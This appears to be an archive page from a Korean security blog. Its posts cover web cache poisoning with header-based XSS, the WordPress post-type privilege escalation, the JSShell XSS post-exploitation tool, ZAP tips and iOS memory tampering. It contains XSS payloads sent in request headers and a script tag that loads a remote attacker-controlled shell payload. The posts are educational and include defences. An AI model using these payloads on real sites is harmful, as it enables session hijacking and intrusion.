12/31/2018

Web Cache Poisoning Attack, 다시 재조명 받다(with Header base XSS)

Cache Posoning Attack은 꾀나 전통적인? 공격 방법입니다. Cache에 공격자가 의도한 데이터를 남겨 다른 사용자로 하여금 비정상적인 요청을 수행하게 하죠.
(대표적으로 DNS Cache Poisoning)

Web에서도 Cache를 사용하는데요, 관련해서 올 8월에 PortSwigger 팀에서 관련해서 글(https://portswigger.net/kb/papers/7q1e9u9a/web-cache-poisoning.pdf)을 게시했었고, 지인에게 내용 공유받아 정리해봅니다.

Web Cache?

캐싱은 서비스 속도 향상을 위해서 데이터를 미리 저장해두고, 사용자에게 제공하는 형태입니다. 지금 이야기드릴 웹 서버의 캐시 말고도 우리가 사용하는 브라우저에도 캐시가 적용되고 웹 데이터를 빠르게 로드하기 위해 로컬 피씨에 이미지나, 자바스크립트 등의 데이터를 저장하고 있습니다. 사용자는 웹 페이지 접근 시 인터넷을 통해 이미지를 받아오는게 아닌, 로컬에서 이미지를 가져오기 때문에 속도면에서 굉장히 이득이 되죠.

이런 캐시는 한번 내용이 저장되면 캐시를 무시하는 액션을 받지 않는 이상 저장된 데이터를 사용자에게 제공합니다. 웹 서버의 캐시 또한 데이터를 캐싱하고 사용자에게 빠르게 제공하는데 의미가 있습니다.

대표적으로 CDN(Content Delivery Network) 서비스들이 있고 이들은 이미지나 일부 코드를 저장하고 사용자에게 빠르게 제공해줍니다.

웹 서버들은 어떤 요청에서 캐시되고 어떤 데이터를 제공해줄지 기록하는데, 이 때 요청을 식별하는(캐시를 불러와야할 요청인지?) 값이 Cache Key 입니다.
캐시 키 는 웹 요청에서 일부를 떼어내어서 Request 일부와 이에 상응하는 Response를 저장하는데요, Request의 모든 부분을 확인하지는 않습니다.

보통 Path, Host 정도를 신뢰하기 때문에 페이지에 테스틀 위해 반복적으로 붙을 때 헤더를 붙여주거나 Path를 바꿔가며 테스트하죠(의미없는 파라미터 추가 ㅋㅋ)

GET /test HTTP/1.1
Host www.hahwul.com
Cooki: test=1

Attack Point, How to Test?

캐시나 포이즈닝 공격 모두 자료가 많아서 구글링 좀 해보시면 많은 자료가 있습니다. 또한 웹 공격, 네트워크 공격에서 자주 소개되는 내용이라 익숙하실텐데요, 말 그대로 캐시에 악의적인 데이터를 남겨서 다른 사용자가 의도하지 않은 동작을 하도록 캐시를 오염?? 시키는 공격입니다.

구글링하면 좋은 그림 많이 나오니 대충 보고 지나갑시다.

테스트 방법을 좀 정리해보는데 이정도 순서로 테스트하면 어떨가 합니다.

1. Cache Key로 사용되지 않는 헤더, 파라미터 등 데이터 식별
2. 해당 값이 Response에 미치는 영향 체크
3. (영향을 끼치는 경우) 공격코드가 Response되도록 Cache 저장(단순히 해당 값에 공격코드를 넣고 요청 전달)

하나 예시로 살펴보면 PortSwigger 팀이 redhat쪽 리포팅했던 내용인데,
Request
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary

Response
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https:// canary /cms/social.png" />

요런식으로 og 태그의 데이터가 사용자 입력으로 부터 받아지는걸 체크했고, “><script>alertg(1)</script> 같이 XSS 코드로 Reflected 시켜 XSS 취약점을 발생시켰습니다. 이럴 경우 일반 웹 페이지에서 해당 헤더 없이 페이지를 접근해도..
Request
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com

Response
HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

구문이 삽입됩니다.

Live service에 테스트하긴 위험하지 않을까?

우선은 위험한게 맞습니다. 다른 사용자에 대해서 로직을 틀어버릴 수 있는거라 실 서비스에선 테스트하지 않는 게 좋아보이긴합니다.
다만 아까 위에서 캐시의 규칙에 대해 잘 보셨다면 영향가지 않는선에서 테스트할 수 있는 방법이 있습니다.

기본적으로 캐싱은 Host, Path 데이터를 기준으로 키를 잡습니다. 그 이야기인 즉슨 Host, Path가 동일한 사용자에 대해서 영향이 가는것이기 떄문에 path에 일반 사용자가 접근하기 어려운 값들을 넣어서 테스트하는 분석가만 확인한다면 직접적인 영향은 없을 것 같습니다. (그래도 되도록이면 prod 환경은 제외하는데… 정신 건강에 좋을듯, 버그 바운티라면 뭐 어쩔 수 없고)

GET /test?thisiscachepoisoning HTTP/1.1
Host: www.hahwul.com
AttackVector: <svg/onload=alert(45)>

이런식으로 파라미터에 의미없는 값을 넣어주어, 정확하게 저 url을 사용하는 사용자 이외에는 캐시가 오염되지 않도록 해주면 크게 걱정없이 테스트가 가능할 것 같습니다.

How easy is it?

결국 위에서 이야기한 내용들을 테스트하려면 어마어마한 노가다 작업이 필요합니다. (Key에 포함되지 않고 Response를 제어하는 파라미터, 헤더 등 값을 찾아야함…)
그래서 PortSwigger 쪽은 Burp extension(Param minor)를 만들어서 테스트한 것 같고, 각자 테스트 환경에 Cache Key, Response 데이터 변조에 대해 테스트 가능한 환경이 있어야 편리할 것 같습니다. (이전에 Param minor가 새로 올라왔을 때 뭔가 했더니 이거였었군요..)

ZAP은.. 코드 완성도는 얼마나 될지 모르겠지만, 시간되면 가볍게 만들어서 공유드리겠습니다 : )

How to Protect? & Conclusion

Checked Header Base XSS & Other vulnerability point
이거 안하는 회사도? 은근 있을 것 같습니다만, 해주는게 좋습니다. Cache Poisoning 말고도 영향 있는 부분들이 있어서…

결국은 영향력이 발생하는 부분은 Header 데이터가 본문에 어떻게 삽입되느냐입니다. 분석을 하시는 기업보안담당자라면, 한번 더 생각해보는 계기가 되었으면 좋겠네요.

Use Vary Header
Vary 헤더는 PC웹 환경과 모바일 웹 환경 구별을 위해 많이 사용하는 헤더인데요, Vary 헤더가 붙은 경웨 User-Agent까지 식별해서

Vary: User-Agent

이렇게 하면 User-Agent 헤더에 대해서도 검증하게 되죠. 자세한 내용은 모질라랑 구글쪽 문서 참고해주세요.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary
https://developers.google.com/search/mobile-sites/mobile-seo/dynamic-serving?hl=ko

결국은 이 문제에 대한 근본적인 해결 방안은 자주 보안 테스팅을 하고 위협을 제거하는 것 같습니다. (그렇다고 캐시를 쓰지 말라고 하는건 좀 그렇잖아요)
Header로 부터 오는 공격도 공격자가 아주 좋아할 먹잇감이니 신경써서 체크하면 좋을 것 같단 생각이 듭니다.

12월은 매우 정신 없던 달이였던 것 같습니다. 뭐 한것도 없느데 순식간에 마지막날이 되었네요..
아마 시간을 보아하니 이글이 올해 마지막 글일 것 같습니다. 해피뉴이어!

Reference

https://portswigger.net/kb/papers/7q1e9u9a/web-cache-poisoning.pdf
https://blog.cloudflare.com/cache-poisoning-protection/
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary
https://developers.google.com/search/mobile-sites/mobile-seo/dynamic-serving?hl=ko
https://blog.finjan.com/web-cache-poisoning/
Share: | Coffee Me:

12/29/2018

Ubuntu 18.04 Shutter Edit 사용 불가 이슈(Fixed disable edit)

Shutter는 제가 정말 애용하는 캡쳐&이미지 편집 툴입니다.
가끔 아래 이미지 같은 문제가 생길때가 있었는데, 간단한 방법으로 해결했었습니다.


(예전엔 그냥 libgoocanvas-perl 설치로 해결.. 마우스 가져다 대면 무슨 패키지 없다고 나왔었죠.)

다만 이번엔 좀 달랐습니다. 관련 패키지가 있는데, 에러를 계속 겪고 있다가 해결책을 찾아 공유드립니다.

우선 우분투 18.04 에서 존재하는 이슈로 18.04 업그레이드 이후 libgoocanvas-perl가 기본 아카이브에서 사용할 수 없게 되어 shutter가 비정상 동작하던 것 입니다.
우분투 17 버전대 아카이브에서 관련 패키지를 받고 디펜더시 잡아주는 형태로 적용해주면 해결 가능합니다.

우선 17 버전 아카이브에서 패키지 파일을 받아줍니다.

wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas-common_1.0.0-1_all.deb
wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas3_1.0.0-1_amd64.deb
wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoo-canvas-perl_0.06-2ubuntu3_amd64.deb

설치 순서는 의존성 때문에 common => canvas3 > canvas-perl 순서로 진행합니다.

dpkg -i libgoocanvas3_1.0.0-1_amd64.deb
(Reading database ... 289715 files and directories currently installed.)
Preparing to unpack libgoocanvas3_1.0.0-1_amd64.deb ...
Unpacking libgoocanvas3:amd64 (1.0.0-1) over (1.0.0-1) ...
dpkg: dependency problems prevent configuration of libgoocanvas3:amd64:
 libgoocanvas3:amd64 depends on libgoocanvas-common (= 1.0.0-1); however:
  Package libgoocanvas-common is not installed.

dpkg: error processing package libgoocanvas3:amd64 (--install):
 dependency problems - leaving unconfigured
Processing triggers for libc-bin (2.27-3ubuntu1) ...
Errors were encountered while processing:
 libgoocanvas3:amd64

이렇게 에러 나는 경우는 --fix-broken install 옵션으로 잡아주면서 해주심 됩니다.

apt --fix-broken install

두번째 commond도 설치해주시고..

dpkg -i libgoocanvas-common_1.0.0-1_all.deb

세번째 canvas-perl로 설치해줍니다.

dpkg -i libgoo-canvas-perl_0.06-2ubuntu3_amd64.deb
apt --fix-broken install
# apt-get -f install 로도 어느정도 잡아주심 좋아요.


마지막으로 shutter 앱을 재 시작해줍니다.

ps -aux | grep shutter
hahwul    6388  0.8  1.3 999724 167796 tty2    Sl+  18:45   0:11 /usr/bin/perl /usr/bin/shutter -s
root     10854  0.0  0.0  22824  1000 pts/0    S+   19:09   0:00 grep --color=auto shutter

kill -9 6388

shutter -s

Cool :)

Reference

http://ubuntuhandbook.org/index.php/2018/04/fix-edit-option-disabled-shutter-ubuntu-18-04/

Share: | Coffee Me:

ZAP Add-on before/from-version 변경하여 설치하기(최소 지원버전으로 설치 불가한 경우)

주말에 몰아서 포스팅하게 되었네요.. ZAP Add-on 설치 시 최소 지원 버전으로 인해 설치 못하는 경우가 있습니다.
예를들면 alpha 버전용인데, release엔 포함안되고, market에도 등록 안된 경우..

간단하게 Add-on의 설정 파일을 바꿔줘서 강제로 로드할 수 있습니다.

ZAP Add-on 구조

우선 간략하게 ZAP Add-on의 구조를 보면 이렇습니다.

hud.zap(PK Header)
├── META-INF     # Make File
├── ZapAddOn.xml # add-on 정의
├── hud          # add-on 전체 코드
└── org.         # 몰러

ZapAddon.xml은 안드로이드 Manifest, iOS의 Info.plist와 같이 Add-on에 대한 정보를 가지고 있는 파일입니다. 앱 이름의 디렉로티를 메인 코드 부분이고 META-INF는 mk 파일 들어있습니다.

ZapAddOn.xml 파일 내용 수정하여 ZAP에 로드하기

PK 헤더니 zip으로 바꿔서 압축 풀면 편합니다.

#> mv hud.zap hud.zip
#> unzip hud.zip

ZapAddOn.xml 파일 열어서 쭉 보다보면 not-before-version, not-from-verion이 있습니다. 여기 값이 ZAP에서 로드할 때 참조하는 버전정보를 의미하고 해당 값을 수정해서

#> vim ZapAddOn.xml
103         </files>
104         <not-before-version>2.8.0</not-before-version>
105         <not-from-version></not-from-version>

해당 값을 입맛에 맞게 수정하신 후 다시 압축한 후 .zap 파일로 바꿔주시면 됩니다.

#> zip hud2.zip * -R
#> mv hud2.zip hud2.zap

이후.. ZAP에서 읽어오면 정상적으로 로드됩니다. (물론 hud는 코어에도 코드 적용이 필요해서 코어 코드까지 수정 안하면 적용이 어렵습니다)

File > Load Add on File > .zap 파일 선택
Share: | Coffee Me:

ZAP Java 버전 바꿔치기(Change Java version for fixed ssl error on ZAP)

ZAP HUD 테스트한다고 alpha 버전 올렸었는데, macOS 에선 인앱 브라우저로 특정 사이트 접근 시 SSL 관련 에러가 발생해서 삽질했던거 정리해둡니다.
(Linux는 별 문제 없던 걸로 보아.. macOS와 연관된 문제인가보네요..)

SSLHandshakeException: Received fatal alert: handshake_failure 에러 발생

보통 구글링 해보면 아래 링크 글 확인해서 대응하라고 하는데, ZAP 쪽 설정 + JCE 관련 내용입니다.

https://github.com/zaproxy/zaproxy/wiki/FAQsslHandshake

뭔가 저의 문제가 Java 문제인 것 같았고 JCE 추가로도 해결되지 않아 좀 의아했습니다.

https://media.giphy.com/media/9Y5BbDSkSTiY8/giphy-downsized.gif

그러던 중 원래 쓰던 ZAP은 잘 됬던걸로 생각이 나서 자바 버전 체크를 좀 해봤습니다.
(ZAP은 자체적으로 Java 바이너리를 내장하고 있습니다)

release
Found Java version 1.8.0_152
Available memory: 16384 MB
Setting jvm heap size: -Xmx4096m
0 [main] INFO org.zaproxy.zap.Gui

alpha
Found Java version 1.8.0_111
Available memory: 16384 MB
Setting jvm heap size: -Xmx4096m
0 [main] INFO org.zaproxy.zap.Gui

하위 버전의 미묘한 차이가 있었지만, 분명 이 차이가 문제의 부분이라 생각하고 자바를 release 쪽(1.8.0.152)로 바꿔치기 했습니다.

zap은 zap.sh => zap.jar 파일 순서로 호출되며 zap.sh에 Java 관련 Path, Binary 설정등이 존재합니다. 열어서 Path 부분이랑 최종 실행되는 Java를 바꿔줍니다.

#> vim .zap.sh
// Java path 위치 바꿔줌
24 if [ "$OS" = "Darwin" ]; then
25   if [ -e "/Applications/OWASP ZAP.app/Contents/PlugIns/jre1.8.0_152.jre/Contents/Home/bin/java" ]; then
26     pushd "/Applications/OWASP ZAP.app/Contents/PlugIns/jre1.8.0_152.jre/Contents/Home/bin" > /dev/null
27     echo 'hawul'
28     JAVA_PATH="/Applications/OWASP ZAP.app/Contents/PlugIns/jre1.8.0_152/Contents/Home/bin/java"
29     PATH="$JAVA_PATH:$PATH"
30     popd > /dev/null
31   fi
32 fi

// Java binary 직접 지정 (java1.8.0_111 => java1.8.0_152)
126 # Start ZAP; it's likely that -Xdock:icon would be ignored on other platforms, but this is known to work
127 if [ "$OS" = "Darwin" ]; then
128   # It's likely that -Xdock:icon would be ignored on other platforms, but this is known to work
129   exec "/Applications/OWASP ZAP.app/Contents/PlugIns/jre1.8.0_152.jre/Contents/Home/bin/java" ${JMEM} ${JAVAGC} -Xdock:icon="../Resources/ZAP.icns" -jar "${BASEDIR}/zap-D-2018-    12-17.jar" "${ARGS[@]}"
130 else
131   exec "/Applications/OWASP ZAP.app/Contents/PlugIns/jre1.8.0_152.jre/Contents/Home/bin/java" ${JMEM} ${JAVAGC} ${JAVADEBUG} -jar "${BASEDIR}/zap-D-2018-12-17.jar" "${ARGS[@]}"
132 fi

이후 실행해보면 에러없이 사이트가 잘 로드됩니다.

#> ./zap.sh

Share: | Coffee Me:

12/23/2018

OWASP ZAProxy의 New interface! ZAP HUD

예전에 ZAP쪽 트윗보고 트위터로 공유해두었던게 있었는데, 최근 @Dakkar Key의 멘션으로 급 생각나서 글로 정리해둡니다.
그땐 정말 많이 대충 봐서(그냥 제목정도만..ㅋㅋ) 정확하게 뭔지 몰랐었는데, 찾아보니 생각보다 좋은 도구인 것 같네요.

오늘 이야기드릴 주제는 OWASP에서 진행중인 ZAP HUD에 대한 이야기입니다.

https://github.com/zaproxy/zap-hud



What is ZAP HUD(Heads Up Display)?

HUD는 Heads Up Display, 즉 전투기에서 볼 수 있는 디스플레이(계기판, 그 머리에 쓰고 눈에 보이는?)을 의미합니다.




ZAP HUD 또한 이를 컨셉으로 만들고 있는 도구이고 공식 repo에선 이렇게 정의해놨습니다.

The HUD is new interface that provides the functionality of ZAP directly in the browser.

즉 웹 브라우저에서 ZAP의 기능을 사용하기 위한 새로운 형태의 Interface인데, 웹 브라우저에 ZAP의 기능을 컨트롤 할 수 있는 UI 적인 요소들이 생기고 이를 이용해 ZAProxy로 넘어가지 않고 기능들을 수행할 수 있도록 만든 인터페이스입니다.
(확장기능과 비슷하지만, 확장 기능 이상으로 생각되네요.. 아이디어 좋은듯) 

이렇게 페이지 좌우에 버튼이 생성됩니다

아직 공식 릴리즈된건 아니고 alpha 버전으로 오픈소스로 진행만 되고 있어서 자료나 추가적인 프로젝트가 많진 않습니다.

하나 아쉬운점이라면 alpha라서.. ZAP 자체도 alpha(weekly) 버전에서만 사용 가능한단 점입니다. (분석 세팅 되어 있는 사람에겐 매우 귀찮은..)

How to install & How to use?

위에서 이야기드렸지만 아직 공식 버전이 아니기 때문에 weekly(사실상 dev 버전)에서만 적용이 가능하기 떄문에 weekly 버전으로 설치해줍니다.
https://github.com/zaproxy/zaproxy/wiki/Downloads#zap-weekly

ZAP Extension 형태로 제공되며 (아마 추후에도 이렇게 갈듯) Dev 버전엔 기본으로 깔려있어 특별히 손댈게 없습니다. 혹시나 없다면 Market Place로 들어가서 ZAP HUD를 찾아주세요!

만약 직접 빌드해서 적용하고 싶으시다면 공식 repo에서 클론해주시고..

#> git clone https://github.com/zaproxy/zap-hud.git
#> cd zap-hud

gradle 로 빌드해줍시다! (dependency가 생각보다 많다는..)

#> ./gradlew runZap
Starting a Gradle Daemon (subsequent builds will be faster)
<-<-------------> 0% INITIALIZING [38s] ....... 

gradle script로 빌드 시 자동으로 ZAP에 로드되며 (runZap으로 인자를 줬으니.. 다르 옵션은 gradle 까보셔욤) Radar icon으로 on/off가 가능합니다.

on 상태에서 전용 브라우저를 열게 되면 페이지 좌/우로 기능 버튼들이 생기며 이를 통해서 브라우저에서 ZAP을 직접 제어할 수 있게 됩니다.




기능에 대한 자세한 부분은 공식 youtube 영상이랑 wiki 참고하시는 게 좋을듯 싶어요 :)
https://github.com/zaproxy/zap-hud/wiki

우선 전용 브라우저를 열고 ZAP HUD를 키면 아래와 같이 튜토리얼 하겠냐고 물어봅니다. 기본적인 사용방법은 튜토리얼만 따라해도 금방인듯 합니다.




대충 인터페이스를 정리하면.. 이렇습니다.



어떻게 구현했을까?

아래 블로그 글에 잘 설명되어 있습니다 .
https://segment.com/blog/hacking-with-a-heads-up-display/

요약하자면 일반적인 브라우저 확장 기능과 거의 동일합니다. js 파일을 브라우저단에서 inject 하고(이게 확장기능 동작 원리죠) inject된 js와 ZAP간 API 통신으로 기능을 수행하게 됩니다.
하나 특이한점은? service worker가 통신할때 postMessage로 구현되었다는 건데요(굳이?)

ZAP과 직접 통신하지 않고 하나를 거쳐서 postMessage를 이용한 이유가 궁금하긴 합니다.
(ZAP 자체가 웹이 아닌 Java Appilcation이라 SOP 영향도 안받고 CORS 지정도 자유로울텐데 조금 의문이기하네요)



https://segment.com/blog/hacking-with-a-heads-up-display/

Share: | Coffee Me:

12/22/2018

Wordpress Post Type을 이용한 Privilege Escalation 취약점(<= wordpress 5.0.0)

이번주 초에 RIPS 블로그에 wordpress 관련 취약점 내용이 올라와 빠르게 테스트 좀 했었고 관련 내용 정리해둡니다.
https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/



Wordpress Post Type

Post Type은 각 게시글의 타입을 의미하고 Wordpress가 지정한 포맷 이외에 타입들이 생성되고 추가될 수 있습니다.
기본 wordpress 페이지 요청에선 post, page 등으로 지정할 수 있고 이에 따라 어떤 형태의 글이 작성될지 결정되게 됩니다.

Default Post Type (https://codex.wordpress.org/Post_Types)
* Post (Post Type: 'post')
* Page (Post Type: 'page')
* Attachment (Post Type: 'attachment')
* Revision (Post Type: 'revision')
* Navigation Menu (Post Type: 'nav_menu_item')
* Custom CSS (Post Type: 'custom_css')
* Changesets (Post Type: 'customize_changeset')
* User Data Request (Post Type: 'user_request' )

Post Type of Plugins

플러그인을 만드는 경우 register_post_type() 함수로 Post type을 지정할 수 있습니다.

예를들면,…

function create_post_type(){
  register_post_type(’test’,array(
    ‘label’ => ’test’,
    ‘description’ => ’test Post Type’ 
  ));
}
add_action(‘init’,’create_post_type’);

일부(많을지도..) 플러그인들은 이런식으로 별도의 Post type을 생성하는데요, 이런 경우 wordpress 관리자 페이지에 글/페이지 이외에도 플러그인 특유의 글(?)을 쓸 수 있는 공간이 생깁니다.

Vulnerability!

플러그인에서 제공하는 기능을 수행할 때 플러그인 개발자가 구성한 코드에 따라 post.php를 타고 post type을 달고 나가서 기능 요청을 수행하게 됩니다.

예를들면 이렇게 Contact, NinJa form 같은 플러그인에서 템플릿이나 관련 기능을 구성할 떄 post.php를 타고 발생합니다.

그래서 post.php에는 게시글 작성 시 발생하는 post_type에 대해서 wordpress 자체에서 검증하는 로직이 있는데, 이 검증 로직 이후 post_type을 다시 체크하지 않고 post_id(게시글 번호) 값으로 게시글 작성/수정을 하게 됩니다. 결국은 post_type 검증 로직만 통과한 이후엔 어떤 플러그인인지 검증하지 않고 해당하는 post_id의 데이터를 수정(없으면 추가) 합니다. 분명 문제가 있는 부분이죠.
(그나저나 찾아낸 rips도 참 대단하네.. 코드봐도 눈에 잘 안뵐거같은데)

wp-admin/post.php
if ( isset( $_GET['post'] ) )
    $post_id = $post_ID = $_GET['post'];
elseif ( isset( $_POST['post_ID'] ) )
    $post_id = $post_ID = $_POST['post_ID'];

if($post_id)
    // The post type is now 'post'
    $post_type = get_post_type($post_id);
else
    $post_type = $_POST['post_type'];

// 이 구간에서 post_type으로 받은 데이터가 wp에서 제공하는 타입인지 체크합니다.
$nonce_name = "add-" . $post_type;
if(!wp_verify_nonce($nonce_name))
    die("You are not allowed to create posts of this type!");

// 문제가 있다면 바로 코드를 종료하고, 없다면 게시글을 작성할 준비를 합니다.
$post_details = array(
  'post_title' => $_POST['post_title'],
  'post_content' => $_POST['post_content'],
  'post_type' => $_POST['post_type']
);

// 사용자로 부터 넘어온 post_id가 있느지 체크합니다(없으면 새글)
if(isset($_POST['post_ID'])) {
   
    unset($post_details['post_type']);
    $post_details['ID'] = $post_id;
    wp_update_post($post_details);
} else {
    // If we just set $_GET['post'] we will enter this branch and can set the
    // post type to anything we want it to be!
    wp_insert_post($post_details);
}
// 아무튼 이 순서대로만 보면 post_type에 대해 체크하는 과정은 맨 처음 한 과정이구 이후엔
// post_type이 어떻든 post_id 기준으로 새글/기존글 수정으로 넘어가 집니다.
// 고로 일반 사용자의 글 요청으로 플러그인이 작성한 게시글의 post_id을 덮거나
// 새로운 플러그인 요청을 만들 수 있겠죠.

[ 일반 게시글 작성 요청 ]
POST /wp-admin/post.php HTTP/1.1

post_type=post&action=editpost&~~~

[ 취약한 플러그인의 작성 요청 ]
POST /wp-admin/post.php HTTP/1.1

post_type=post&plugin_vulnapp_contents=thisisadminquery&form=%7B%22id%22%3A%22tmp-1545384518%22%2C%22show_publish_option

플러그인에 따라 영향력이 다르겠지만 중요 기능을 다루는 플러그인에서 해당 문제 발생 시 리스크가 높을 것 같습니다.

RIPS 팀에서도 추가로 발견해서 리포팅된게 Contacts Form7 인데(이 플러그인은 Contact form을 만들어주는 플러그인이고 템플릿을 지정할 수 있게 되어있습니다) 이 플러그인엔 Path traversal을 이용해서 시스템 파일을 가져올 수 있는 취약점이 존재했었습니다.

이를 활용하면 일반 사용자 권한으로 서버의 파일이나 wp-config.php 같은 소스코드 파일을 읽어와서 중요한 cred를 탈취하거나 정보를 획득하는데 사용될 수 있었죠.

마침 테스트 wp에 취약 버전으로 깔려있길래 함 테스트해봤는데... 굿 :)


How to protect?

- Upate wordpress version >= 5.0.1
- Vulnerable plugin remove or patch

우선 5버전대는 5.0.1 으로 wordpress 공식 배포가 나왔습니다. 근본적인 원인은 플러그인 요청이 post.php와 동일하게 사용되고 검증 과정이 부족한 것이기 때문에 core 업그레이드가 해결책이지만 플러그인을 적게 쓰는 경우 플러그인 개발 관점에서 대응도 가능합니다.

플러그인쪽 코드 에서 post type 정의 시 capbility_type 추가

register_post_type( 'example_post_type', array(
    'label' => 'Example Post Type',     
    
    'capability_type' => 'page'     // capability_type of page makes sure that
                                    // only editors and admins can create posts of
                                    // that type
));


Share: | Coffee Me:

JSShell - interactive multi-user web based javascript shell

git 보다가 재미있는 툴 있어 공유드립니다.
JSSHELL이라 툴로 XSS Post Exploit 툴 정도로 보심 되고 요약하면 beef의 Command line 버전이라고 생각하시면 좋을 것 같습니다.

https://github.com/Den1al/JSShell

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>>

분석 과정에서 쓸일은 거의 없지만 추가적인 영향력 테스트나 장난감으로 가지고 놀기 좋아보여요. 다른 XSS Post Exploit 툴과 비슷하게 서버 실행하고 아래 path(/content/js)를 삽입해서 나머지 처리 로직을 불러올 수 있습니다.
<script src="http://192.168.0.14/content/js"></script>
Share: | Coffee Me:

12/16/2018

MacOS, iOS(iPhone, iPad) Devices 에서의 메모리 변조

보통 안드로이드, iOS 모두 메모리 변조를 할때 치팅 툴(게임 해킹 관련해서 검색하면 많이 나오는 것들..)을 대체로 사용합니다.
(솔직히 편하긴해요)

Command line에서 제어할 일이 있어서 찾아본 도구중에 괜찮은게 있어 정리해둡니다.

MH?

https://github.com/sskaje/mh 로 유명한 도구는 아닙니다. (그냥 저처럼 개인이 만들어두고 쓰시는 것 같아요)
기본적인 메모리 뷰/변조, Convering 등을 지원하고 Js 코드를 지원한다고 합니다.(잘 쓰면 프리다라 붙임성이 있을지도!?)

# Clone 
git clone https://github.com/sskaje/mh.git
cd mh

# Submodule 설치
git submodule update --init --recursive


# SDK, duktape 설치
bash tools/download_sdks.sh
bash tools/duktape_prepare.sh

빌드 환경 구성은 위에 정도면 충분하고, OS 아키텍쳐 별로 빌드하셔서 사용하시면 됩니다.

# Build for macOS
bash build/build-osx.sh

# Build for ARMv7 iDevices
bash build/build-ios-armv7.sh

# Build for ARMv7s iDevices
bash build/build-ios-armv7s.sh

# Build for ARM64 iDevices, iOS 10.2
bash build/build-ios-armv64.sh

# Build for deb package for all iOS device
bash build/build-ios-deb.sh

빌드하게 되면 아래 경로(./build)에 빌드된 내용이 담기는 디렉토리가 생기고 이 안에서 바이너리 파일을 확인할 수 있습니다. 

> ls build/
build-ios-arm64.sh    build-ios-armv7s.sh    build-mac.sh        ios-armv7        layout
build-ios-armv7.sh    build-ios-deb.sh    ios-arm64        ios-armv7s

> ls build/ios-arm64
CMakeCache.txt        Makefile        mh_cli            tests
CMakeFiles        cmake_install.cmake    mh_script

macos의 경우 바로 사용하시면 되고 다른 iOS 기기의 경우 scp로 넣어주고 사용하시면 될듯합니다.

#> scp build/ios-arm64/mh_* root@192.168.0.13:///bin/
기본적인 명령어 리스트는 help 옵션 주면 확인이 가능하고 별도 옵션이 없으면 대화형 프롬프트로 넘어갑니다. (여기서도 help 되요)

#> mh_cli
MH[nil] >

How to find? How to Edit?

우선은 메모리 변조를 할 앱을 찾아야합니다. "process-list" 명령으로 프로세스 확인해주시고, pid로 해당 프로세스를 열어줍니다.

MH[nil] > process-list
PID    UID    bits    Name
0        0        64bit    kernel_task
1        0        64bit    launchd
188      0        64bit    amfid
318      0        64bit    jailbreakd

MH[nil] > open 1717
Current PID=1717
MH[1717] >

아래는 뭐 help 보시면 금방 따라할 내용입니다.. 그냥 search-string 찾고자 하는 데이터를 찾고, result로 그 결과를 볼 수 있습니다.

MH[1717] > search-string hhhhhh
Found 9 result(s).

MH[1717] > result
update search @address:0000000108abaaf1

[5] 0x000000016f030000-0x000000016f0b8000 size=0x100000010 offset=0000000000000000, rw-/rwx, STACK
  000000016f0b1ee8  68 68 68 68 68 68 68 00 00 00 00 00 00 00 00 00  hhhhhhh.........
update search @address:000000016f0b1ee9
[6] 0x000000016f030000-0x000000016f0b8000 size=0x100000010 offset=0000000000000000, rw-/rwx, STACK
  000000016f0b1ee9  68 68 68 68 68 68 00 00 00 00 00 00 00 00 00 3f  hhhhhh.........?

메모리 내용이랑 주소값을 같이 주는데, memory-write 명령으로 메모리 내 데이터 수정이 가능합니다. 다른 메모리 변조와 동일하게 오버되는 길이는 프로그램 동작에 영향을 줄 수 있으니 크기 잘 계산하셔서 넣어주시면서 테스트하시는게 좋습니다.
(지지난주인가.. 장난치다가 아이패드 리붓됬고, 결국 재탈옥의 단계를 접어섰었네요..)

MH[1717] > memory-write 000000016f0b1ee8 "HAHWUL"
  0000000000000000  48 41 48 57 55 4c                                HAHWUL

Js 지원 관련해선 테스트해본건 없는데, 아마 자바스크립트로 mh 기능 자체를 불러와서 쓰는걸 의미하는 것 같습니다. (그냥 이 기능을 api 부르듯이 쓸 수 있다? 느낌, Js로 로직을 만들 수 있다 정도?)

혹여나 Js 쓰게되면 댓글로 남겨놓겠습니다 :)

Share: | Coffee Me:

12/04/2018

Needle - iOS Application and Device 해킹/보안 분석 프레임워크

Needle은 Drozer로 유명한 MWR Lab에서 만든 iOS 분석용 프레임워크입니다. Drozer와 비슷하게 디바이스에 Agent를 내리고 앱과 디바이스에 대한 분석을 할 수 있습니다.
 
보통은 Frida + Burp(ZAProxy)의 조합으로 분석을 하는데, 보다보니 Needle이 Frida 사용에 있어 좀 편리한 부분이 있더군요.

크게 디바이스에 대한 분석(키체인 이런거.) + Frida의 후킹 코드들, Cycript의 코드단 분석 정도를 하나의 명령 행에서 처리할 수 있도록 구성되어 있습니다.

Needle!


Setup - Agent

Needle은 Agent <=> Server 방식의 Application으로 대상 디바이스랑 분석기기(서버)에 모두 세팅이 되어야하니다.
시디아 소스 추가 후 needle agent 받아주시면 끝납니다. ( Cydia > Source > Add )

http://mobiletools.mwrinfosecurity.com/cydia/ 추가 후

Search에서 Needle 찾아주시면 Needle agent가 나옵니다. 설치해쥐면 됩니다.

Setup - Server

공식 깃허브에서 코드 클론해주시고..
#> git clone https://github.com/mwrlabs/needle

